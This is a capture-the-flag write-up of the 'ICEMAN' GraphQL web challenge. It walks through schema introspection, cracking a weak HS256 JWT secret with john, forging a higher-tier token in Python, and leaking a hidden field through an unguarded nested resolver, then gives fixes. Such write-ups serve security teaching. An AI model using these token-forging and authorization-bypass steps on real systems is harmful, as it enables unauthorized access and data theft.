Challenge: ICEMAN · CTF: DalCTF 2026 · Category: Web · Difficulty: Hard

Drake’s label OVO is days away from dropping ICEMAN — his most guarded project yet. They run a private API for members on the early-access list. You managed to snag a fan account. The vault is locked down tight… or is it?

Flag: dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}


TL;DR

The challenge is a GraphQL API guarding an unreleased album. Getting the flag is a two-bug chain:

  1. Broken authentication — the JWT is signed with HS256 using a laughably weak secret (iceman, the challenge name). Crack it, forge a token, and bump your tier from fan to ovo to get vault access.
  2. Broken object-level authorization — even with vault access, the album-lookup resolvers only ever return released albums. The unreleased album is hidden from album(id) and releasedAlbums, but it’s still reachable through a different resolver path (label → artists → albums) where the access check was never applied. Walk the graph the “side way” and the secret field falls out.

Let’s walk through how to get there from zero.


1. Recon — what are we even talking to?

We’re handed a single endpoint:

1
https://dalctf-iceman-277-64616c.instancer.dalctf2026.com/graphql

The /graphql path is a dead giveaway. First, a sanity ping to confirm it’s alive and speaks GraphQL:

1
2
3
curl -s -X POST https://.../graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query{__typename}"}'
1
{"data":{"__typename":"Query"}}

It answers, and it’s served by gunicorn (a Python WSGI server — so probably Flask/Graphene behind it). A working GraphQL endpoint that responds to __typename is begging for the first thing every GraphQL hunter tries: introspection.

Pulling the schema

Introspection is GraphQL’s self-documentation feature. When it’s left enabled (it very often is), the server will happily hand you the entire schema — every type, field, and argument. No guessing endpoints, no wordlists. The map is just given to you.

1
2
3
curl -s -X POST https://.../graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query{__schema{types{name kind fields{name type{name kind ofType{name kind ofType{name kind}}}}}}}"}'

After cleaning it up, the schema looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Query
    me            -> User
    releasedAlbums -> [Album]
    album(id: ID!) -> Album
    label(name: String!) -> Label

Mutation
    register(username, password) -> AuthPayload
    login(username, password)    -> AuthPayload

AuthPayload { token: String }
User        { username: String, tier: String }
Label       { name: String, artists: [Artist] }
Artist      { name: String, albums: [Album] }
Album       { id, title, status, tracks: [Track], vaultManifest: String }
Track       { number: Int, title: String }

A few things jump out immediately:

  • Album.vaultManifest — a string field on an album, sitting right next to a status field. In a challenge about a locked vault, a field literally named vaultManifest is where the flag lives. This is our objective.
  • User.tier — there’s a tier/role system. We were given a “fan” account; presumably the vault needs something better.
  • There are two ways to reach an Album: directly via album(id) / releasedAlbums, and indirectly via label → artists → albums. Whenever a piece of data is reachable through more than one resolver path, that’s a classic spot for inconsistent authorization. Keep this in your back pocket.

2. Getting a foothold — register and inspect the token

The register mutation hands back an auth token, so let’s grab one:

1
2
3
curl -s -X POST https://.../graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation{register(username:\"hacker123\",password:\"pass123\"){token}}"}'
1
{"data":{"register":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhY2tlcjEyMyIsInRpZXIiOiJmYW4ifQ.oEuNiCb6wLY798SjfErBdRVbl8zSGJ8C23k1IzrohAY"}}}

That’s a JWT (three base64url chunks separated by dots). Decoding the first two parts:

1
2
3
4
// header
{"alg":"HS256","typ":"JWT"}
// payload
{"username":"hacker123","tier":"fan"}

So the server signs a JWT with HS256 (symmetric — same secret signs and verifies) and stuffs our tier right into it. We’re a fan. The role decision is being made client-side-ish: whatever tier lives in the token is trusted by the server. If we can change that value and re-sign, we control our own privilege level.

Confirming the wall

Let’s try the vault with our fan token (sent as Authorization: Bearer <token>):

1
2
3
4
5
T="eyJhbG...fan token..."
curl -s -X POST https://.../graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $T" \
  -d '{"query":"query{releasedAlbums{id title vaultManifest}}"}'
1
2
3
4
5
{
  "errors": [
    {"message":"OVO membership required. Fan accounts do not have vault access.","path":["releasedAlbums"]}
  ]
}

The error spells out the fix for us: we need OVO membership, not a fan account. The tier we want is almost certainly ovo. Now we just need to forge a token that says so — which means we need the signing secret.


3. Breaking the JWT — cracking a weak HS256 secret

HS256 tokens are only as strong as their secret. If the secret is a dictionary word or anything guessable, the whole signature scheme collapses — we can mint tokens that say whatever we want and the server will trust them.

john can brute-force HS256 secrets directly. Drop the token in a file and throw rockyou at it:

1
2
echo "$T" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
1
2
3
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
iceman           (?)
1g 0:00:00:00 DONE

Instant hit. The secret is iceman — the name of the challenge (and the album). A reminder that secrets derived from the project name are no secret at all.

Forging an OVO token

With the secret known, signing our own token is trivial. Keep the payload, swap tier to ovo, and HMAC it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import hmac, hashlib, base64, json

def b64(b):
    return base64.urlsafe_b64encode(b).rstrip(b'=')

secret = b'iceman'
header  = b64(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(',',':')).encode())
payload = b64(json.dumps({"username":"hacker123","tier":"ovo"}, separators=(',',':')).encode())
sig     = b64(hmac.new(secret, header + b'.' + payload, hashlib.sha256).digest())
print((header + b'.' + payload + b'.' + sig).decode())

Out comes a freshly signed tier:"ovo" JWT. Let’s spend it:

1
2
3
4
5
T="eyJhbG...ovo token..."
curl -s -X POST https://.../graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $T" \
  -d '{"query":"query{me{username tier} releasedAlbums{id title status vaultManifest tracks{number title}}}"}'
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  "data": {
    "me": {"username":"hacker123","tier":"ovo"},
    "releasedAlbums": [
      {"id":"1","status":"RELEASED","title":"For All the Dogs","vaultManifest":null,
       "tracks":[{"number":1,"title":"Virginia Beach"},{"number":2,"title":"Rich Baby Daddy"}]},
      {"id":"2","status":"RELEASED","title":"Some Sexy Songs 4 U","vaultManifest":null,
       "tracks":[{"number":1,"title":"Desire"},{"number":2,"title":"After Dark"}]}
    ]
  }
}

The membership wall is gone — me.tier is now ovo and the vault queries run. But the prize isn’t here. Both released albums have vaultManifest: null. So privilege escalation alone wasn’t the whole challenge; it was just the price of admission.


4. The real bug — broken object-level authorization

The unreleased ICEMAN album clearly exists somewhere. The naming convention even hints the released albums are IDs 1 and 2, so let’s probe higher IDs directly:

1
2
3
4
5
for i in 1 2 3 4 5 6 7 8 9 10; do
  curl -s -X POST https://.../graphql -H "Authorization: Bearer $T" \
    -H "Content-Type: application/json" \
    -d "{\"query\":\"query{album(id:\\\"$i\\\"){id title status vaultManifest}}\"}"
done
1
2
3
album 1 -> For All the Dogs (RELEASED)
album 2 -> Some Sexy Songs 4 U (RELEASED)
album 3..10 -> null

Dead end. The album(id) resolver only ever returns released albums — anything unreleased comes back null, regardless of the ID. Same story with releasedAlbums (the name says it all). The developers correctly filtered the album lookup resolvers to hide unreleased projects.

But remember the schema had two paths to an Album. We’ve only tried the direct one. The other path runs through label:

1
label(name) → Label.artists → Artist.albums → Album.vaultManifest

This is the same Album object, but reached by traversing the object graph from a Label instead of asking for it by ID. If the access-control filter lives on the album-lookup resolvers and not on the Artist.albums relationship, the unreleased album leaks straight through the side door. This is Broken Object Level Authorization (BOLA / IDOR) — the access check is bound to one entry point instead of to the data itself.

We just need a label name. OVO is Drake’s real-world label, so:

1
2
3
curl -s -X POST https://.../graphql -H "Authorization: Bearer $T" \
  -H "Content-Type: application/json" \
  -d '{"query":"query{label(name:\"OVO\"){name artists{name albums{id title status vaultManifest}}}}"}'
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
{
  "data": {
    "label": {
      "name": "OVO",
      "artists": [
        {
          "name": "Drake",
          "albums": [
            {"id":"1","status":"RELEASED","title":"For All the Dogs","vaultManifest":null},
            {"id":"2","status":"RELEASED","title":"Some Sexy Songs 4 U","vaultManifest":null},
            {"id":"9","status":"UNRELEASED","title":"ICEMAN",
             "vaultManifest":"dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}"}
          ]
        }
      ]
    }
  }
}

There it is. Album id 9, status UNRELEASED, title ICEMAN — the exact record that album(id:"9") insisted was null — shows up in full through the label traversal, vaultManifest and all.

Flag: dalctf2026{open-ticket-send-me-ur-fav-song-in-album6}


5. Why it worked — root cause

Two independent failures chained together:

#BugRoot causeFix
1Weak JWT secretHS256 signed with iceman, a guessable word tied to the project. Trivially cracked, letting an attacker forge any tier.Use a long, random, high-entropy secret stored as a managed secret. Better still, don’t put authorization-bearing claims (tier) in a client-held token without server-side validation against the user record.
2Inconsistent authorizationThe “unreleased albums are hidden” rule was enforced on the album/releasedAlbums resolvers, but the Artist.albums resolver returned everything unfiltered.Enforce authorization on the data/field level (e.g., a check on Album.vaultManifest or a single source-of-truth filter on every Album resolver), not per-entry-point.

The second bug is the more interesting lesson and a recurring theme in GraphQL security: a graph has many paths to the same node. Bolting access control onto the “front door” resolver is meaningless if a nested relationship somewhere else returns the same object without the check. Authorization belongs to the object, not to the route you took to reach it.


Tools used

  • curl — manual GraphQL requests
  • GraphQL introspection — schema mapping
  • john (HMAC-SHA256 mode) + rockyou.txt — cracking the JWT secret
  • A few lines of Python — forging the signed token

Takeaways

  1. Always run introspection first on a GraphQL target — it hands you the entire attack surface, including suspiciously named fields like vaultManifest.
  2. Never trust a JWT secret you didn’t generate randomly. Project-themed secrets are cracked in milliseconds.
  3. Map every path to your objective. When a field is locked on one resolver, ask whether the same object is reachable another way. In GraphQL the answer is frequently yes.